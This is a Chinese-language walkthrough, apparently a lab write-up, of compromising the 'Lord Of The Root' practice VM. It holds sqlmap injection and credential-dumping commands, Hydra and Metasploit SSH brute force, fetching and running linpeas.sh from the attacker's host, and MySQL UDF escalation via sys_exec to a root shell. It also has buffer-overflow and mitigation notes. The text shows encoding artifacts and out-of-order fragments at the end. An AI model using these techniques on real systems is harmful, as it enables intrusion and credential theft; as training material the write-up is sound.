項(xiàng)目六:Lord Of The Root-1.0.1(上)
#Nmap信息收集
---主機(jī)發(fā)現(xiàn):192.168.95.132

---全端口掃描:發(fā)現(xiàn)只開啟22端口

---查看端口的詳細(xì)信息:nmap 192.168.95.132 -sV -p 22 -sS -A -T5
---沒有發(fā)現(xiàn)什么有用的信息

---根據(jù)smeagol提示,登陸SSH(沒有密碼無法登陸,但是獲取提示信息)

#端口試探(portknocking)
---設(shè)置端口試探是建立服務(wù)器安全連接的好方法。一般做法是發(fā)送特定的包給服務(wù)器,以觸發(fā)服務(wù)器的回應(yīng)/連接(打開防火墻)。端口敲門對于有開放端口的系統(tǒng)是一個很好的防護(hù)措施
---端口試探的主要目的是防止攻擊者通過端口掃描的方式對主機(jī)進(jìn)行攻擊。端口試探類似于一次秘密握手協(xié)議,比如一種最基本的方式:發(fā)送一定序列的UDP、TCP數(shù)據(jù)包
---當(dāng)主機(jī)上的daemon程序捕捉到數(shù)據(jù)包以后,如果這個序列正確,則開啟相應(yīng)的端口或者防火墻允許客戶端通過(現(xiàn)實(shí)是將80端口修改為其它端口)
---由于對外Linux服務(wù)器通過限制IP地址的方式來控制訪問,因此可以利用這種端口試探方式來進(jìn)行防火墻對于訪問IP地址的控制

---如何進(jìn)行端口碰撞?
---首先需要我們知道端口碰撞的序列,否則暴力碰撞開啟的機(jī)會太小
---使用konck:sudo apt install knockd
---使用konck按照順序敲擊靶機(jī)的123端口,并且輸出詳細(xì)信息

---使用nmap進(jìn)行全端口掃描,發(fā)現(xiàn)了一個1337的Web服務(wù)端口

#Web信息收集
---訪問http://192.168.95.132:1337/(我這里只有Kail能訪問,Windows主機(jī)不能訪問,看來這里的端口試探是限制IP的),但是這里存在一個目錄
---提示信息:我會把戒指帶到MORDOR
---思路:1.根據(jù)頁面提示信息訪問目錄2.分離圖片獲取信息3.查看前端源代碼(未發(fā)現(xiàn)信息)

---下載圖片

---分別使用binwalk、exiftool、strings查看圖片是否存在隱藏信息

---解密一下發(fā)現(xiàn)沒有發(fā)現(xiàn)什么

---使用dirb爆破Web:這里沒有發(fā)現(xiàn)什么有價值的信息

---手動訪問一下robots.txt文件和readme.html(訪問之前的mordor的目錄也是這一張圖)
---提示:薩姆我們不能走這條路,黑色大門太主流了

---查看源代碼發(fā)現(xiàn)奇怪的符號:
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

---發(fā)現(xiàn)這里是base64編碼:Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
? ? ? ? ? ? ? ? ? ? ? ? ??

---將前面的再進(jìn)行一次解碼:/978345210/index.php=closer!

---訪問這個URL,發(fā)現(xiàn)一個用戶登陸的界面
---思路:1.進(jìn)行爆破(可能存在弱口令)2.Sql注入獲取信息
---思路1:使用admin/admin進(jìn)行登陸失敗,已知用戶名admin,不知道密碼而且沒有驗(yàn)證碼,可以使用BrupSuite抓包爆破,也可以試試其它工具
---思路2:使用SQLMap進(jìn)行注入

#SQL注入漏洞
---直接使用SQLmap進(jìn)行注入,說這里沒有指定參數(shù)

---對登陸界面抓個包,還是發(fā)現(xiàn)是POST的傳輸

---Sqlmap的常用參數(shù)
---SQLmap的常用參數(shù)使用舉例
---對數(shù)據(jù)包的文件進(jìn)行測試(有些時候使用AWVS進(jìn)行抓包,sqlmap進(jìn)行分析)
----使用BurpSuite抓取數(shù)據(jù)包,對需要測試的位置后面加上 *

---保存為test.txt,然后進(jìn)行測試
---獲取數(shù)據(jù)庫信息

---檢測WAF以及WAF繞過

---操作系統(tǒng)命令執(zhí)行

---使用-forms參數(shù)指定一個包含表單的HTML文件或URL
---指定-forms參數(shù)時,會解析HTML文件的表單,自動識別表單字段、方法、目標(biāo)URL等信息
---然后,它會對每個表單字段進(jìn)行逐個測試,以發(fā)現(xiàn)可能存在的SQL注入漏洞
---:o開啟所有優(yōu)化項(xiàng);forms使用表單對頁面進(jìn)行GET和POST測試;--batch默認(rèn)Y
?sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch

---發(fā)現(xiàn)POST的參數(shù)password存在盲注漏洞

---獲取數(shù)據(jù)庫名稱:
?sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --dbs?? --batch
---這里發(fā)現(xiàn)數(shù)據(jù)庫的名稱

---在實(shí)戰(zhàn)的時候直接getshell(大部分是WebSHell)
---先查看當(dāng)前用戶是否具有root權(quán)限(發(fā)送是root權(quán)限)
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --is-dba --batch

---查看當(dāng)前用戶:發(fā)現(xiàn)當(dāng)前用戶是root
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch -current-user

---查看數(shù)據(jù)庫所有的用戶,存在5個用戶(其實(shí)是2個,一個root和非root)
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch -users

---爆數(shù)據(jù)庫所有用戶的對應(yīng)密碼,root密碼為空
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch -passwords

---這里嘗試直接通過SQLMap進(jìn)行os-shell(需要3個條件):
dbms為mysql,網(wǎng)站必須是root權(quán)限
攻擊者需要知道網(wǎng)站的絕對路徑(并不知道)
magic_quotes_gpc = off,php主動轉(zhuǎn)移功能關(guān)閉
---sqlmap的--os-shell在mysql數(shù)據(jù)庫中的原理:
---1.往服務(wù)器上寫入了兩個php,其中一個給我們提供了文件上傳的頁面,可以通過這個上傳頁面上傳腳本文件到當(dāng)前目錄下
---2.另外一個則是返回了可以讓我們執(zhí)行系統(tǒng)命令的命令行,命令行也可以在網(wǎng)頁url中通過對cmd參數(shù)傳參執(zhí)行系統(tǒng)命令
---sqlmap探測網(wǎng)站的根目錄,先獲取一個交互式的shell
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

--上面獲取不到Web根目錄的地址,直接梭哈
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms? --os-shell
---默認(rèn)的PHP網(wǎng)站

---默認(rèn)的幾個目錄,但是這里爆破失敗了(應(yīng)該是目錄不對)

---轉(zhuǎn)換思路:1.獲取用戶的用戶名和密碼,然后登陸web后臺進(jìn)行查看2.獲取用戶名和密碼對SSH進(jìn)行爆破
---獲取Webapp數(shù)據(jù)庫里面的所有表
?sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms? --batch -D Webapp -tables

---查看User表里面的列,發(fā)現(xiàn)存在3列:id、password、username
?sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms? --batch -D Webapp -T? Users? -columns

---查看指定表的列,并且導(dǎo)出列里面的字段,獲取了用戶名和密碼
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms? --batch -D Webapp -T? Users? -C id,password,username --dump

#Hydra爆破SSH
---將用戶名和密碼分別寫入爆破字典:
---使用 echo -e
命令可以在輸出中插入換行符或制表符,\n
:換行符;\t
:制表符;\\
:反斜杠;\"
:雙引號;\'
:單引號

---這里出現(xiàn)了SSH的賬號,先用ssh爆破一波

---SSH爆破:hydra -L users.txt -P password.txt 192.168.95.132 ssh
---發(fā)現(xiàn)用戶名:smeagol,密碼:?MyPreciousR00t

#MSF爆破SSH
---msf進(jìn)行SSH爆破,搜索關(guān)于SSH的腳本

---搜索關(guān)于SSH登陸的腳本,發(fā)現(xiàn)存在2個默認(rèn)的腳本(使用第一個)

---需要設(shè)置自定義用戶名和密碼本(?PASS_FILE 、USERPASS_FILE)
---STOP_ON_SUCCESS:當(dāng)破解成功后停止攻擊,當(dāng)為flase的時候爆破成功就自動登陸,反彈MSF的shell

---設(shè)置自定義的用戶字典和密碼字典,以及只爆破密碼不登陸ssh

---run獲取用戶名和密碼,以及在sessions里面查看shell
---用戶權(quán)限是普通的用戶權(quán)限

#Linux 普通用戶提權(quán)信息搜集
---思路1:采用uname -a查看版本
---Linux
:操作系統(tǒng)名稱為 Linux;LordOfTheRoot主機(jī)名為;
---3.19.0-25-generic內(nèi)核版本;
---#26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015
:內(nèi)核編譯日期和時間
---i686 athlon i686
:硬件架構(gòu);GNU/Linux
:操作系統(tǒng)類型

---通過kail搜索:searchsploit linux ubuntu 3.19.0
---但是這里數(shù)字部分沒有紅色,不是很匹配

------也可以通過谷歌搜索:感覺谷歌更準(zhǔn)確一些

---查看靶機(jī)發(fā)行版本:lsb_release -a
Distributor ID
:發(fā)行版標(biāo)識,此處為 Ubuntu。Description
:發(fā)行版描述,此處為 Ubuntu? 14.04.3Release
:發(fā)行版版本,此處為 14.04Codename
:發(fā)行版代號,此處為 trusty
---注意:3.19.0-25-generic內(nèi)核版本主要涉及操作系統(tǒng)內(nèi)核的更新和改進(jìn),Ubuntu? 14.04發(fā)行版本則是在內(nèi)核基礎(chǔ)上構(gòu)建的、具有特定配置和軟件包集合的完整操作系統(tǒng)

---使用發(fā)行版本(內(nèi)核版本當(dāng)約束條件)當(dāng)作關(guān)鍵字效率搜索exp效率更高
---但是這里把39166漏掉了,實(shí)戰(zhàn)得話應(yīng)該都會嘗試

---谷歌搜索:Ubuntu 14.04 exploit
---這里發(fā)現(xiàn)搜索的最優(yōu)選擇是39166和37088(實(shí)戰(zhàn)的時候以谷歌搜索為主)

---思路2:使用linpeas.sh

---wget 192.168.95.128:8081/linpeas.sh下載并且執(zhí)行
---這里是linux系統(tǒng)版本(紅色說明存在exp,也可能存在sudo提權(quán),1.8.9不存在)

---查看具有SUID權(quán)限的文件
---這里具有SUID權(quán)限的文件,基本不具有提權(quán)的(都是/bin目錄或者/usr/bin目錄里面)
---但是下面這三個文件應(yīng)該是用戶自定義的文件,具有SUID權(quán)限
/SECRET/door2/file
/SECRET/door1/file
/SECRET/door3/file

---橙色說明存在漏洞,這三個文件存在緩沖區(qū)溢出漏洞(注意:在finalshell上看不到橙色)
---這里發(fā)現(xiàn)文件的用戶是root,而其它用戶只具有執(zhí)行權(quán)限(那么可以使用緩沖區(qū)溢出提權(quán))
---如果具有SUID權(quán)限文件,并且其它用戶可以寫入的話,也可以進(jìn)行提權(quán)(比如計(jì)劃任務(wù)cron里面的腳本具有root權(quán)限,而且其它用戶可以寫入)

---但是用戶沒有sudo權(quán)限(不能使用SUDO提權(quán))

---計(jì)劃任務(wù)的其它用戶只存在執(zhí)行權(quán)限(不能使用計(jì)劃任務(wù)提權(quán))

---查看mysql版本(高于5.1版本,需要導(dǎo)出鏈接庫到\plugin目錄)

---也可使用查看服務(wù):dpkg -l | grep mysql
---dpkg查看軟件包信息,-i指已安裝的軟件包
---這里存在MYSQL服務(wù),可以嘗試MYSQL的UDF提權(quán)

---思路三:使用linux-exploit-suggester.sh查找漏洞
---使用Python得http.server傳輸(MSF得upload也可以)
---在/tmp目錄下執(zhí)行(注意要在kail本機(jī)上),dirtycow、overlayfs等
---注意:優(yōu)先選沒有Comments的(約束),以及來自exploit-db的exp

---總結(jié)存在提權(quán)的方式:1.內(nèi)核漏洞提權(quán)? 2.Mysql的UDF提權(quán)? 3.SUID
##1.內(nèi)核漏洞提權(quán)
---Linux 內(nèi)核中 overlayfs 文件系統(tǒng)是 Ubuntu 的特定問題,由于沒有正確的驗(yàn)證文件系統(tǒng)功能在用戶名稱空間中的應(yīng)用
---由于Ubuntu附帶了一個允許非特權(quán)的overlayfs掛載的補(bǔ)丁,因此本地攻擊者可以使用它來獲得更高的特權(quán)
---在searchsploit里面搜索漏洞編號,并且復(fù)制到http.server的目錄

---靶機(jī)下載exp,然后編譯執(zhí)行,發(fā)現(xiàn)提權(quán)成功

---在root目錄下查看flag,還發(fā)現(xiàn)一個python的文件
---而且/root目錄下,存在2個SUID權(quán)限的文件:buf和other

---在/SECRET/目錄下,存在3個子目錄door,子目錄下存在file文件(root權(quán)限)

---可以使用find命令查看 /SECRET目錄下的文件,并且顯示SUID權(quán)限
---這里也可以使用也可以:find /SECRET -type f -exec ls -l {} \;

---這里遍歷3個目錄,將/root/other文件復(fù)制到三個目錄并且重命名為file
---然后隨機(jī)選擇一個目錄,將file由原來的/root/other替換成/root/buf
---也就是雖然都是file,但是可能是/root/other,也可能是/root/buf
---去/root目錄下查看他們的權(quán)限區(qū)別, 權(quán)限都是一樣具有SUID權(quán)限
---其它用戶只有執(zhí)行權(quán)限,一個大小5150KB,一個大小7370KB
---也就是緩沖區(qū)溢出的文件,隨機(jī)在/SECRET/下的三個目錄的file文件出現(xiàn)

---通過crontab -l查看當(dāng)前用戶的計(jì)劃任務(wù):每三分鐘執(zhí)行一次腳本

---在crontab -l的命令真實(shí)目錄:
---每個用戶的cron都存儲在一個獨(dú)立的文件中,通常位于/var/spool/cron
/crontabs目錄
---如果用戶"john",那么該用戶的cron作業(yè)文件路徑通常是/var/spool/cron/crontabs/john

---系統(tǒng)范圍的cron作業(yè)通常存儲在/etc/crontab
文件中

---由于OS的版本不同,可以使用find+通配符進(jìn)行查看:find /? -name "cron*" -type f

---但是在普通用戶下,只能查看系統(tǒng)的計(jì)劃任務(wù)
---這里系統(tǒng)的計(jì)劃任務(wù),并沒有switcher.py

#MySql的UDF提權(quán)
---查看MYSQL安裝包版本5.5.44:dpkg -l | grep mysql

---查看進(jìn)程的ps的參數(shù)
---查看包含使用者的進(jìn)程,篩選root用戶和mysql服務(wù):ps -aux |grep root|grep mysql
---發(fā)現(xiàn)mysql具有root權(quán)限

---在/var/www目錄下搜索存在password的文件(就是數(shù)據(jù)庫配置文件)
---grep命令參數(shù):-n顯示匹配行號;-r遞歸搜索子目錄;?-s:不顯示文本的錯誤信息

---grep的pattern正則表達(dá)式主要參數(shù)
---搜索在web目錄(一般在)數(shù)據(jù)庫的用戶名和密碼
---通過路徑/var/www(目錄補(bǔ)全)下查看數(shù)據(jù)庫配置文件(思路1:find查看文件名config;思路2:grep -r遞歸查看數(shù)據(jù)庫密碼等內(nèi)容)

---查看login.php: cat /var/www/978345210/login.php
---這里存在一個明顯的SQL注入漏洞(雖然對參數(shù)進(jìn)行了\過濾,但是還是存在風(fēng)險)
---SQL注入的防護(hù)
使用預(yù)處理語句:使用預(yù)處理語句可以有效地防止SQL注入攻擊。使用參數(shù)化查詢來處理用戶輸入,而不是直接將用戶輸入的數(shù)據(jù)拼接到SQL查詢語句中
過濾輸入數(shù)據(jù):對用戶輸入的數(shù)據(jù)進(jìn)行過濾和驗(yàn)證,確保只接受符合預(yù)期格式的數(shù)據(jù)??梢允褂煤瘮?shù)如
filter_var()
和mysqli_real_escape_string()
來過濾和轉(zhuǎn)義用戶輸入
---filter_var()
函數(shù)用于過濾和驗(yàn)證數(shù)據(jù)的格式和類型
---而mysqli_real_escape_string()
函數(shù)用于轉(zhuǎn)義字符串,以防止SQL注入攻擊
---在處理用戶輸入時,最好結(jié)合使用這兩個函數(shù)以增強(qiáng)安全性
限制用戶輸入的長度和類型:在接受用戶輸入之前,對用戶名和密碼的長度和類型進(jìn)行驗(yàn)證。可以使用
strlen()
函數(shù)檢查長度,使用正則表達(dá)式驗(yàn)證特定的格式
---登陸Mysql:mysql -uroot -pdarkshadow
---首先看一下是否滿足寫入條件:show global variables like 'secure%';
---在MySQL中,全局變量是用來配置數(shù)據(jù)庫服務(wù)器行為的設(shè)置項(xiàng),LIKE
運(yùn)算符來匹配以 "secure" 開頭的變量名,%是MYSQL的通配符
---- ---查詢系統(tǒng)變量:在Mysql5.1之后需要將exp導(dǎo)入到指定的目錄 ---獲取到目錄:/usr/lib/mysql/plugin/ ---查看是否可以遠(yuǎn)程登陸:查詢mysql數(shù)據(jù)庫的User表 ---遠(yuǎn)程登陸可以使用MSF提權(quán),這里只能UDF提權(quán) ?select user,host,password from user; ---那么,現(xiàn)在需要在MYSQL里面創(chuàng)建表,然后將so文件以二進(jìn)制導(dǎo)入表中 ---BLOB在MYSQL的表里面存在存儲二進(jìn)制文件的數(shù)據(jù)類型(容器),四種BLOB類型: ---在kail搜索exp:loacte lib_mysqludf并且復(fù)制到指定目錄 ---這里分為MSF和sqlmap的exp,選擇MSF的exp ---MSF的分為so文件(LINUX)和dll文件(Windows),在uname -a顯示是i686 athlon i686 ----i686 athlon i686表示基于 Intel 80386 架構(gòu)(也稱為x86)的 32位操作系統(tǒng) ---修改名稱并且傳輸 ---/tmp目錄下載exp(這里是編譯過的,我們要查看 ---lib_mysqludf_sys: sys_eval,執(zhí)行任意命令,并將輸出返回 ---Mysql的默認(rèn)三個數(shù)據(jù)庫 ---可以看出,mgsql數(shù)據(jù)庫是系統(tǒng)數(shù)據(jù)庫,那么就就具有root權(quán)限 --- ---dumpfile()是MySQL中的一個內(nèi)置函數(shù),將表的元素導(dǎo)出到指定目錄文件 ---然后根據(jù)dayu.so文件,構(gòu)建導(dǎo)出函數(shù)sys_exec(),并且在mysql.func表中查看 ---在Mysql執(zhí)行給find命令SUID權(quán)限:select sys_exec('chmod u+s /usr/bin/find'); ---通過find命令執(zhí)行:find / -exec '/bin/sh' \; #MySQL的UDF提權(quán)的拓展 ##緩沖區(qū)溢出 #堆和棧的區(qū)別: ---棧(操作系統(tǒng)):由操作系統(tǒng)(編譯器)自動分配釋放 ,存放函數(shù)的參數(shù)值,局部變量的值等。其操作方式類似于數(shù)據(jù)結(jié)構(gòu)中的棧。 ---堆(操作系統(tǒng)): 一般由程序員分配釋放, 若程序員不釋放,程序結(jié)束時可能由OS回收,分配方式倒是類似于鏈表(new一個對象就是堆) ---malloc用于分配內(nèi)存,free用于釋放內(nèi)存。它們的使用不會自動調(diào)用構(gòu)造函數(shù)和析構(gòu)函數(shù)。 ---new用于分配內(nèi)存并調(diào)用構(gòu)造函數(shù),delete用于釋放內(nèi)存并調(diào)用析構(gòu)函數(shù)。 ---因此,在C++中應(yīng)該盡量使用new/delete進(jìn)行內(nèi)存分配和釋放,而不是使用malloc/free ---在棧中是先入后出,所以地址位數(shù)大的在下面,地址位數(shù)小的在上面 ---這里每個棧內(nèi)存塊占4Byte(32bit),對應(yīng)的32位寄存器操作系統(tǒng) ---數(shù)據(jù)在4Byte(32bit)里面,X86系統(tǒng)采用小端存儲:數(shù)據(jù)低位保存在內(nèi)存低地址中,數(shù)據(jù)的高位保存在內(nèi)存中的高地址中(大端存儲則相反) ---1111 0000是八位二進(jìn)制數(shù),1111是數(shù)據(jù)的高位,而0000是數(shù)據(jù)的低位 ---注意:在計(jì)算機(jī)中,數(shù)據(jù)以補(bǔ)碼存儲(無符號數(shù):原碼=反碼=補(bǔ)碼,有符號數(shù)則不一樣) ---esp(棧頂)和esp(棧底)的作用只是定位數(shù)據(jù)的位置 ---黃色部分是之前的分配的緩沖區(qū),函數(shù)執(zhí)行結(jié)束后被釋放 ---這里是一個主函數(shù)的反匯編:sum(int a ,int b)是求和函數(shù)返回a+b ---調(diào)用的sum()匯編 ---CPU執(zhí)行的程序:call指令通常用于調(diào)用函數(shù) ---物理地址是匯編函數(shù)的地址(注意和內(nèi)存地址區(qū)分),call下一個指令地址76EA70D7 ---call指令在調(diào)執(zhí)行時,先看call指令的長度和call所在的物理地址,這樣才能計(jì)算出call指令的下一個指令地址,并且會把下一個指令地址存儲到堆棧中 ---這里發(fā)現(xiàn)76EA70D7被壓入了棧頂,然后esp-4 ---之后cpu就會在堆棧中開辟出一段存儲空間用于調(diào)用函數(shù)、存儲臨時變量 ---注意:由于調(diào)用call函數(shù)時,先push 下一行匯編指令(esp-4),然后保存push ebp(esp-8),mov? ebp,esp ---所以在調(diào)用函數(shù)的堆棧里面,ebp=上一個函數(shù)的esp-8,那么當(dāng)前函數(shù)的ebp+4里面存儲著call執(zhí)行完成之后的的函數(shù)物理地址 ---函數(shù)調(diào)用完后對堆棧的處理:pop ebp彈出值,并將保存到ebp寄存器中(這里的ebp存儲著下一條匯編指令的函數(shù)地址) --- #緩存區(qū)溢出漏洞原理 ---在了解完堆棧結(jié)構(gòu)和call指令后,我們可以清楚的知道如果我們在調(diào)用一個函數(shù)時傳入一個數(shù)據(jù),如果這個數(shù)據(jù)大小超過我們所分配的緩沖區(qū)大小,那么就會造成緩沖區(qū)溢出 ---在調(diào)用函數(shù)結(jié)束后,如調(diào)用sum()函數(shù)的結(jié)果,返回abcdefg一共7Byte,使用2個地址塊存儲 ---但是如果返回abcdefghabcdefgh,2個地址塊裝不下,就會發(fā)生溢出使得ebp+4(原來存儲著call下一條匯編指令地址)的內(nèi)容,變成了efgh #緩沖區(qū)溢出的利用 ---通過修改存在堆棧中的返回地址,可以跳轉(zhuǎn)到我們想要執(zhí)行程序的物理地址。 ---我們可以計(jì)算好堆棧的空間,然后輸入一串我們編寫好的具有特殊功能的Shellcode,通過返回地址調(diào)整esp指向位置去執(zhí)行我們編寫的shellcode ---執(zhí)行效果如下 ---函數(shù)地址和函數(shù)指針的概念區(qū)分 ---這串代碼就是用到了數(shù)組越界的方法。我們聲明的數(shù)組大小為五,所以在堆棧中分配的五個堆棧內(nèi)存單元 ---但是我們向下標(biāo)為六的數(shù)組空間中存入我們Hello World函數(shù)的地址,這就造成了越界 #緩沖區(qū)溢出的防護(hù) ---編寫安全的代碼與代碼審查 :使用strncpy( ) 、snprintf( ) 等替換的版本 ---?編譯器修改 :無論堆溢出還是棧溢出, 根本原因是緩沖區(qū)的越界訪問 ---通過編譯器修改對每個數(shù)組進(jìn)行邊界檢查, 使得緩沖區(qū)根本無法溢出, 則能完全地避免該漏洞和溢出攻擊 ---庫函數(shù)修改:由于動態(tài)內(nèi)存分配函數(shù)是作為庫實(shí)現(xiàn)的, 程序?qū)@些函數(shù)的調(diào)用是動態(tài)加載 ---可以利用庫函數(shù)修改方法來保護(hù)dlmalloc等庫的內(nèi)存管理信息, 防止malloc 庫攻擊 ---操作系統(tǒng)與硬件修改:如設(shè)置不可執(zhí)行的緩沖區(qū)( 堆或棧) 防止攻擊者執(zhí)行注入的代碼, 加密指令集使得攻擊者在注入代碼時很難 猜測指令正確的機(jī)器碼表示 ---ALSR介紹: ———————————————— ---通過對堆、棧、共享庫映射等線性區(qū)布局的隨機(jī)化,通過增加攻擊者預(yù)測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達(dá)到阻止溢出攻擊的目的的一種技術(shù)。如今Linux、FreeBSD、Windows等主流操作系統(tǒng)都已采用了該技術(shù) ---?在傳統(tǒng)的操作系統(tǒng)里,用戶程序的地址空間布局是固定的,自低向高依次為代碼區(qū),
BSS區(qū),堆棧區(qū),攻擊者通過分析能輕易得出各區(qū)域的基地址,在此情況下,只要攻擊者的
注入代碼被執(zhí)行,攻擊者就能隨意跳轉(zhuǎn)到想到達(dá)的區(qū)域,終取得計(jì)算機(jī)的控制權(quán),試想如
果一個程序在執(zhí)行時,系統(tǒng)分配給此進(jìn)程三個區(qū)域的基地址是隨機(jī)產(chǎn)生的,每次該程序執(zhí)行
都不一樣,那么攻擊者注入的代碼即使被執(zhí)行,也終會因?yàn)闊o法找到合法的返回地址而產(chǎn)
生錯誤,終進(jìn)程停止,攻擊者無法入侵,這就是地址空間布局隨機(jī)化的基本思想。? ---在ASLR的實(shí)現(xiàn)中,系統(tǒng)將進(jìn)程的 用戶空間(4GB)分為三個區(qū)域,可執(zhí)行區(qū),映射區(qū)和棧區(qū),可執(zhí)行區(qū)存放可執(zhí)行代碼,初始化數(shù)據(jù)
和未初始化數(shù)據(jù),映射區(qū)包括堆,動態(tài)庫和共享內(nèi)存,棧區(qū)是用戶態(tài)棧,當(dāng)進(jìn)程被創(chuàng)建時,
對于X86體系計(jì)算機(jī),系統(tǒng)給每個區(qū)域一個隨機(jī)的偏移量,分別為16位,16位和24位,其中
映射區(qū)偏移量稱為delta-map,這樣動態(tài)鏈接庫的基地址就有65536種可能 ,當(dāng)然這個數(shù)字應(yīng)
該更大一些的,因?yàn)閷τ诂F(xiàn)代計(jì)算機(jī)而言,這實(shí)在不算一個很大的范圍,但是對于32位的線
性地址來說,高四位為全局頁表,如果用隨機(jī)產(chǎn)生會影響對高位內(nèi)存的映射能力,會產(chǎn)生大
量的內(nèi)存碎片,低12位要考慮頁對齊,因而只能有16位來作為偏移量,而在64位機(jī)上,則可 以有40位來產(chǎn)生delta-map,效率將大大提高 ---在出現(xiàn)了某些漏洞,比如內(nèi)存信息泄露的情況下,攻擊者會得到部分內(nèi)存信息,比如某些代碼指針。傳統(tǒng)的ASLR只能隨機(jī)化整個segment,比如棧、堆、或者代碼區(qū)。這時攻擊者可以通過泄露的地址信息來推導(dǎo)別的信息,如另外一個函數(shù)的地址等。這樣整個segment的地址都可以推導(dǎo)出來,進(jìn)而得到更多信息,大大增加了攻擊利用的成功率。在32位系統(tǒng)中,由于隨機(jī)的熵值不高,攻擊者也容易通過窮舉法猜出地址secure_file_priv
是一個MySQL全局變量,用于配置服務(wù)器上可被導(dǎo)入或?qū)С龅奈募窂?/strong>。它指定了MySQL服務(wù)器允許的文件系統(tǒng)路徑,從中可以讀取或?qū)懭胛募?/p>
sys_exec,執(zhí)行任意命令,并將退出碼返回
sys_get,獲取一個環(huán)境變量
sys_set,創(chuàng)建或修改一個環(huán)境變量mysql
:mysql
是MySQL服務(wù)器的系統(tǒng)數(shù)據(jù)庫,其中存儲了關(guān)于用戶賬戶、權(quán)限、訪問控制和其他系統(tǒng)級元數(shù)據(jù)的信息。它包含了用于管理MySQL服務(wù)器的系統(tǒng)表,如 user
、db
、tables_priv
等。通過操作 mysql
數(shù)據(jù)庫的表和數(shù)據(jù),可以管理用戶賬戶、設(shè)置權(quán)限、監(jiān)控服務(wù)器狀態(tài)等。information_schema
:information_schema
是一個提供關(guān)于數(shù)據(jù)庫和表的元數(shù)據(jù)信息的虛擬數(shù)據(jù)庫。它不實(shí)際存儲數(shù)據(jù),而是提供了對數(shù)據(jù)庫結(jié)構(gòu)、表、列、索引、觸發(fā)器、視圖等的元數(shù)據(jù)查詢。通過查詢 information_schema
,可以獲取關(guān)于數(shù)據(jù)庫和表結(jié)構(gòu)的詳細(xì)信息,如列的數(shù)據(jù)類型、約束、注釋等。performance_schema
:performance_schema
是一個用于收集和存儲MySQL服務(wù)器性能相關(guān)信息的數(shù)據(jù)庫。它提供了對數(shù)據(jù)庫服務(wù)器性能指標(biāo)、資源使用情況、查詢統(tǒng)計(jì)等的訪問。通過分析 performance_schema
的數(shù)據(jù),可以進(jìn)行性能優(yōu)化、故障排查和服務(wù)器資源管理LOAD_FILE()
函數(shù)是MySQL中的一個內(nèi)置函數(shù),用于從文件系統(tǒng)中讀取文件的內(nèi)容讀取到表ret
彈出返回地址,CPU并跳轉(zhuǎn)到該地址處(ebp寄存器的下一條匯編指令的函數(shù)地址)
————————————————